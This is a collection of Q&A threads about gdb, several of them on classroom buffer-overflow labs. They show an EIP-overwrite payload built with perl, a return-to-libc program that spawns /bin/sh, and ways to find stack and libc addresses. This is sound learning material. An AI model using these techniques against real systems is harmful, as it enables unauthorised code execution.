How to write a bash script that executes gdb on a program - c

I am recreating the buffer overflow from http://www.cis.syr.edu/~wedu/seed/Labs_12.04/Software/Buffer_Overflow/Buffer_Overflow.pdf and I would like to write a bash script that will gdb on my "stack" executable. The script will then make break points and grab the addresses of the begging (p &buffer) and end (p $ebp) of the buffer that the will be passed into ./exploit <&buffer, $ebp> as arguments.
When I run my script..
#!/bin/sh
gdb stack
b main
b 14
run
b 23
c
p &buffer
p $ebp
When I use it, gdb is opened on my executable. However, the rest of the script is not executed. I assume this is because gdb creates a new process. I have tried " gdb stack "$$" " to get gdb on the same process as my script, however unsuccessful.
Is what I am trying to do possible?
Edit:
New Script: This correctly outputs the addresses to the command line
#!/bin/sh
gdb stack << 'EOF'
b main
run
b 23
c
s
p &buffer
p $ebp
quit
EOF
How do I grab those addresses so I can pass them in as arguments to ./exploit?
Following line of my bash file will be..
./exploit <&buffer> <$ebp>

Try
gdb -batch yourfile
as supossed in man gdb.
Or look here for an example.

Related

gdb freezes in malloc

Suppose I have some C program like this:
#include <stdlib.h>
#include <stdbool.h>
int main()
{
while (true) {
void *p = malloc(1000);
free(p);
}
return 0;
}
and I attach to it with gdb like this gdb a.out PID. gdb successfully attaches to it but that I try to do something like call printf("bla bla bla") gdb freezes and if I press Ctrl^C I get this:
(gdb) call printf("bla bla bla")
^C
Program received signal SIGINT, Interrupt.
__lll_lock_wait_private () at ../nptl/sysdeps/unix/sysv/linux/x86_64/lowlevellock.S:95
95 ../nptl/sysdeps/unix/sysv/linux/x86_64/lowlevellock.S: No such file or directory.
The program being debugged was signaled while in a function called from GDB.
GDB remains in the frame where the signal was received.
To change this behavior use "set unwindonsignal on".
Evaluation of the expression containing the function
(malloc) will be abandoned.
When the function is done executing, GDB will silently stop.
I suppose that this happens because my a.out was creating an object and acquired a lock inside malloc.c and in this moment I connected with gdb and tried to create string "bla bla bla" using malloc.
My question is how can I detect that I'm inside malloc.c and let my program finish this execution? I need to do it not inside command line but using some sort of gdb scripting (I only can execute commands inside gdb with -ex option).
The reason you're froze is probably a lock that's being held by your program, and is also required by printf. When you try to aquire it twice - you fail.
A possible WA is when breaking your program to call printf, just before you make the call, type finish - it will cause the current function to complete and return to the main frame. This will ensure the lock is free before you call printf.
If the 'finish' solution doesn't work for you. Here is another idea.
You can check if you are in malloc when you break the program. Based on the boolean in/out you skip calling the print commands. Here is a working example.
# gdb script: pygdb-logg.gdb
# easier interface for pygdb-logg.py stuff
# from within gdb: (gdb) source -v pygdb-logg.gdb
# from cdmline: gdb -x pygdb-logg.gdb -se test.exe
# first, "include" the python file:
source -v pygdb-logg.py
# define shorthand for inMalloc():
define inMalloc
python inMalloc()
end
The associated python file:
# gdb will 'recognize' this as python
# upon 'source pygdb-logg.py'
# however, from gdb functions still have
# to be called like:
# (gdb) python print logExecCapture("bt")
import sys
import gdb
import os
def logExecCapture(instr):
# /dev/shm - save file in RAM
ltxname="/dev/shm/c.log"
gdb.execute("set logging file "+ltxname) # lpfname
gdb.execute("set logging redirect on")
gdb.execute("set logging overwrite on")
gdb.execute("set logging on")
gdb.execute("bt")
gdb.execute("set logging off")
replyContents = open(ltxname, 'r').read() # read entire file
return replyContents
# in malloc?
def inMalloc():
isInMalloc = -1;
# as long as we don't find "Breakpoint" in report:
while isInMalloc == -1:
REP=logExecCapture("n")
#Look for calls that have '_malloc' in them
isInMalloc = REP.find("_malloc")
if(isInMalloc != -1):
# print ("Malloc:: ", isInMalloc, "\n", REP)
gdb.execute("set $inMalloc=1")
return True
else:
# print ("No Malloc:: ", isInMalloc, "\n", REP)
gdb.execute("set $inMalloc=0")
return False
gdb -x pygdb-logg.gdb -se test.exe
From the command line or script,
(gdb) inMalloc
(gdb) print $inMalloc
From an actual test program:
Program received signal SIGINT, Interrupt.
0x00007ffff7a94dba in _int_malloc (av=<optimized out>, bytes=1) at malloc.c:3806
3806 malloc.c: No such file or directory.
(gdb) inMalloc
(gdb) if $inMalloc
>print $inMalloc
>end
$1 = 1
I believe your script can use a similar 'if' structure to do/not do printf
Most of this was knocked off from here

gdb showing different address than in code

I am trying to implement a buffer overflow attack and I need to know the address of my buffer that I am trying to overflow.
The address that is displayed using GDB is different than if I just did this in the code:
Exact code:
#include<stdio.h>
int main() {
char buffer[20];
printf("%p\n", buffer); // 0xbffff320
return 0;
}
However, in gdb if I do:
p &buffer
I get: 0xbffff330
Why is there a difference and will it mess up my buffer overflow attack?
I have ALSR and stack guard disabled.
Thanks.
EDIT 1: Even when I step through gdb and it encounters the print line, I get 0xbffff320 as the address
EDIT 2:
Environment: Ubuntu Linux 9 image running in virtual box on windows 7.
The gdb version: 6.8-debian
Compiled using GCC such as: gcc -g -fno-stack-protector filename.c
execute immediately: ./a.out
address printed: 0xbffff320
Then open in debugger like this: gdb ./a.out
then enter b main
then run
then p &buffer
Then address is 0xbffff330
Edit 3:
This is the gdb log to reproduce behavior:
$ gdb ./a.out
b main
run
p &buffer /* address here is different than what is shown if I run executable */
step through program to printf statement /* address here is same as p &buffer but different than what is printed when program is ran */
The question, as I understand it, is why the address of a local variable in main is different when the program is started from the shell versus when it is started from gdb.
Here's a sample program to show the difference:
mp#ubuntu:~$ cat s.c
#include<stdio.h>
int main(int argc, char **argv) {
char buffer[20];
system("env");
printf("%s %p\n", argv[0], buffer);
return 0;
}
We'll run it in a clean environment. (I also disabled ASLR).
mp#ubuntu:~$ env -i sh
$ ./s
PWD=/home/mp
./s 0xbffffe48
$ gdb ./s
(gdb) run
Starting program: /home/mp/s
COLUMNS=80
PWD=/home/mp
LINES=42
/home/mp/s 0xbffffe08
The output from gdb's print &buffer command is the same as the program's idea of the address, but they're both different from when the program was run in the shell.
(gdb) b 6
Breakpoint 1 at 0x804849c: file s.c, line 6.
(gdb) run
Starting program: /home/mp/s
COLUMNS=80
PWD=/home/mp
LINES=42
Breakpoint 1, main (argc=1, argv=0xbffffed4) at s.c:6
6 printf("%s %p\n", argv[0], buffer);
(gdb) p &buffer
$1 = (char (*)[20]) 0xbffffe08
(gdb) n
/home/mp/s 0xbffffe08
8 return 0;
There are a couple of things contributing to the difference:
gdb is invoking the program with an absolute pathname, so the argv array is bigger.
gdb sets (or in this case, adds) two environment variables. This is done in readline/shell.c:sh_set_lines_and_columns(). So the environ array is bigger.
To remove those two variables from the environment, you can use unset environment, or set exec-wrapper to run env -u .... That way, the program's addresses under gdb are the same as when it's run in the shell (if we use an absolute pathname).
$ `pwd`/s
PWD=/home/mp
/home/mp/s 0xbffffe28
$ gdb `pwd`/s
(gdb) set exec-wrapper env -u LINES -u COLUMNS
(gdb) run
Starting program: /home/mp/s
PWD=/home/mp
/home/mp/s 0xbffffe28
Your array object in your system is stored in the stack. At the top of your stack there is, among other, the environment. When you run your program with gdb, gdb will provide a different environment (the env var and their value) which explains the addresses difference.
You can check the difference by running show environment in gdb and by comparing the output with set command in your shell.
Found out that this is expected behavior in old versions of GDB (mine is 6.8-debian), and if you construct your buffer overflow attack properly you can work around this behavior and it won't be a problem.
For the moment, the only reasons I can imagine are :
you tried to print &buffer after your program terminated. Solution: try setting a breakpoint on main, run, next to execute printf, and print &buffer.
you first ran your program outside gdb, then ran it inside gdb but forgot to execute the printf line with next.
a bug in your version of gdb
a bug in your version of gcc (gcc might produce incorrect debug info: see 1 and 2)

How do I test out buffer overflows on a modern system?

I'm currently interested in learning how to do buffer overflows. I've done quite a bit of assembly, and understand how the stack works and how to implement a buffer overflow in C. However, I'm running across quite a bit of trouble trying to get GCC 4.9.1 to allow me to overflow a buffer properly. I'm running Debian Jessie.
Here is the tutorial that I'm attempting to follow, in section 2.2. I've copy/pasted the C program he provides, and I'm using the same Perl script that he is, so everything is the exact same as his case (except the system, of course).
These are the results that I'm getting consistently:
~/projects/buffer-overflow$ ls
run.pl test.c
~/projects/buffer-overflow$ sudo su
root#wash# echo "0" > /proc/sys/kernel/randomize_va_space
root#wash# exit
exit
~/projects/buffer-overflow$ gcc -m32 -fno-stack-protector -zexecstack test.c
~/projects/buffer-overflow$ ./run.pl
Address of foo = 0x804845b
Address of bar = 0x80484a4
My stack looks like:
(nil)
0xffffd4a8
0xf7e58b2f
0xf7fb3ac0
0x8048657
0xffffd494
ABCDEFGHIJKLMNOPP#
Now the stack looks like:
0xffffd718
0xffffd4a8
0xf7e58b2f
0xf7fb3ac0
0x42418657
0x46454443
That Perl script isn't particularly useful here, different systems will use different addresses, so let's do it without the script...
First of all, find out the exact number of bytes needed to overwrite the return address. We can do this with GDB and Perl:
(gdb) run `perl -e 'print "A" x 26';`
Address of foo = 0x804845b
Address of bar = 0x80484a5
My stack looks like:
0xf7fb1000
0xffffdab8
0xf7e44476
0xf7fb1d60
0x8048647
0xffffdaa8
AAAAAAAAAAAAAAAAAAAAAAAAAA
Now the stack looks like:
0xffffdcbb
0xffffdab8
0xf7e44476
0xf7fb1d60
0x41418647
0x41414141
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
As you can see, 26 bytes will overwrite the EIP, so by replacing the last four "A" characters with our bar() function address (don't forget to put it in little endian format), we should have success:
(gdb) run `perl -e 'print "A" x 22';``perl -e 'print "\xa5\x84\x04\x8"';`
Address of foo = 0x804845b
Address of bar = 0x80484a5
My stack looks like:
0xf7fb1000
0xffffdab8
0xf7e44476
0xf7fb1d60
0x8048647
0xffffdaa8
AAAAAAAAAAAAAAAAAAAAAA��
Now the stack looks like:
0xffffdcbb
0xffffdab8
0xf7e44476
0xf7fb1d60
0x41418647
0x41414141
Augh! I've been hacked!
Program received signal SIGSEGV, Segmentation fault.
0xffffdc06 in ?? ()
As you can see, we successfully returned to function bar().
I would try either -fno-stack-protector-all (adding -all) and other -O? options, cause some optimizations turns on some -fxxx.

return to lib_c buffer overflow exercise issue

I'm supposed to come up with a program that exploits the "return to libc buffer overflow". This is, when executed, it cleanly exits and brings up a SHELL prompt. The program is executed in a bash terminal. Below is my C code:
#include <stdio.h>
int main(int argc, char*argv[]){
char buffer[7];
char buf[42];
int i = 0;
while(i < 28)
{
buf[i] = 'a';
i = i + 1;
}
*(int *)&buf[28] = 0x4c4ab0;
*(int *)&buf[32] = 0x4ba520;
*(int *)&buf[36] = 0xbfffff13;
strcpy(buffer, buf);
return 0;
}
Using gdb, I've been able to determine the following:
Address for "system": 0x4c4ab0
Address for "exit": 0x4ba520
The string "/bin/sh" resides in memory at: 0xbfffff13
I also know, using gdb, that inserting 32 "A"'s into my buffer variable will overwrite the return address. So given that the system call is 4 bytes, I start by filling in my memory "leak" at 28 bytes. At the 28th byte, I begin my system call, then exit call, and finally add my "/bin/sh" memory location.
When I run the program, however, I get the following:
sh: B���: command not found
Segmentation fault (core dumped)
I'm really not sure what I'm doing wrong...
[EDIT]: I was able to get the string "/bin/sh" by exporting a environmental variable:
export MYSHELL="/bin/sh"
You can search in libc for a fixed address of a /bin/sh string. Run you program in gdb then:
> (gdb) break main
>
> (gdb) run
>
> (gdb) print &system
> $1 = (<text variable, no debug info>*) 0xf7e68250 <system>
>
> (gdb) find &system,+9999999,"/bin/sh"
> 0xf7f86c4c
> warning: Unable to access target memory at 0xf7fd0fd4, halting search.
> 1 pattern found.
Good luck.
The problem in your program is the pointer you suppose to point to the /bin/sh string is actually not pointing to /bin/sh.
You get this address using gdb. But even without stack randomization, the stack address of your shell variable is different when the program is run under gdb than without gdb. gdb is putting some debug information into the stack and this will shift your shell variables.
To convince yourself here is a quick and dirty program to find a /bin/sh string in the stack:
#include <stdio.h>
#include <string.h>
int main(void)
{
char s[] = "/bin/sh";
char *p = (char *) 0xbffff000;
while (memcmp(++p, s, sizeof s));
printf("%s\n", p);
printf("%p\n", p);
}
First double check that stack randomization is disabled:
ouah#maou:~$ sysctl kernel.randomize_va_space
kernel.randomize_va_space = 0
ouah#maou:~$
Ok, no stack randomization.
Let's compile the program and run it outside gdb:
ouah#maou:~$ gcc -std=c99 tst.c
ouah#maou:~$ ./a.out
/bin/sh
0xbffff724
ouah#maou:~$
Now let's run it under gdb:
ouah#maou:~$ ./a.out
/bin/sh
0xbffff724
ouah#maou:~$ gdb a.out -q
Reading symbols from /home/ouah/a.out...(no debugging symbols found)...done.
(gdb) r
Starting program: /home/ouah/a.out
/bin/sh
0xbffff6e4
Program exited normally.
(gdb) quit
ouah#maou:~$
As you can see the address of the /bin/sh string is different when the program is run inside or outside gdb.
Now what you can do is to use a variant of this program to find the true address of your string or a more elegant approach, get the address of a /bin/sh string directly from the libc (as you can guess there are a few occurrences).

How to debug using gdb?

I am trying to add a breakpoint in my program using
b {line number}
but I am always getting an error that says:
No symbol table is loaded. Use the "file" command.
What should I do?
Here is a quick start tutorial for gdb:
/* test.c */
/* Sample program to debug. */
#include <stdio.h>
#include <stdlib.h>
int
main (int argc, char **argv)
{
if (argc != 3)
return 1;
int a = atoi (argv[1]);
int b = atoi (argv[2]);
int c = a + b;
printf ("%d\n", c);
return 0;
}
Compile with the -g3 option. g3 includes extra information, such as all the macro definitions present in the program.
gcc -g3 -o test test.c
Load the executable, which now contain the debugging symbols, into gdb:
gdb --annotate=3 test.exe
Now you should find yourself at the gdb prompt. There you can issue commands to gdb.
Say you like to place a breakpoint at line 11 and step through the execution, printing the values of the local variables - the following commands sequences will help you do this:
(gdb) break test.c:11
Breakpoint 1 at 0x401329: file test.c, line 11.
(gdb) set args 10 20
(gdb) run
Starting program: c:\Documents and Settings\VMathew\Desktop/test.exe 10 20
[New thread 3824.0x8e8]
Breakpoint 1, main (argc=3, argv=0x3d5a90) at test.c:11
(gdb) n
(gdb) print a
$1 = 10
(gdb) n
(gdb) print b
$2 = 20
(gdb) n
(gdb) print c
$3 = 30
(gdb) c
Continuing.
30
Program exited normally.
(gdb)
In short, the following commands are all you need to get started using gdb:
break file:lineno - sets a breakpoint in the file at lineno.
set args - sets the command line arguments.
run - executes the debugged program with the given command line arguments.
next (n) and step (s) - step program and step program until it
reaches a different source line, respectively.
print - prints a local variable
bt - print backtrace of all stack frames
c - continue execution.
Type help at the (gdb) prompt to get a list and description of all valid commands.
Start gdb with the executable as a parameter, so that it knows which program you want to debug:
gdb ./myprogram
Then you should be able to set breakpoints. For example:
b myfile.cpp:25
b some_function
Make sure you used the -g option when compiling.
You need to tell gdb the name of your executable file, either when you run gdb or using the file command:
$ gdb a.out
or
(gdb) file a.out
You need to use -g or -ggdb option at compile time of your program.
E.g., gcc -ggdb file_name.c ; gdb ./a.out

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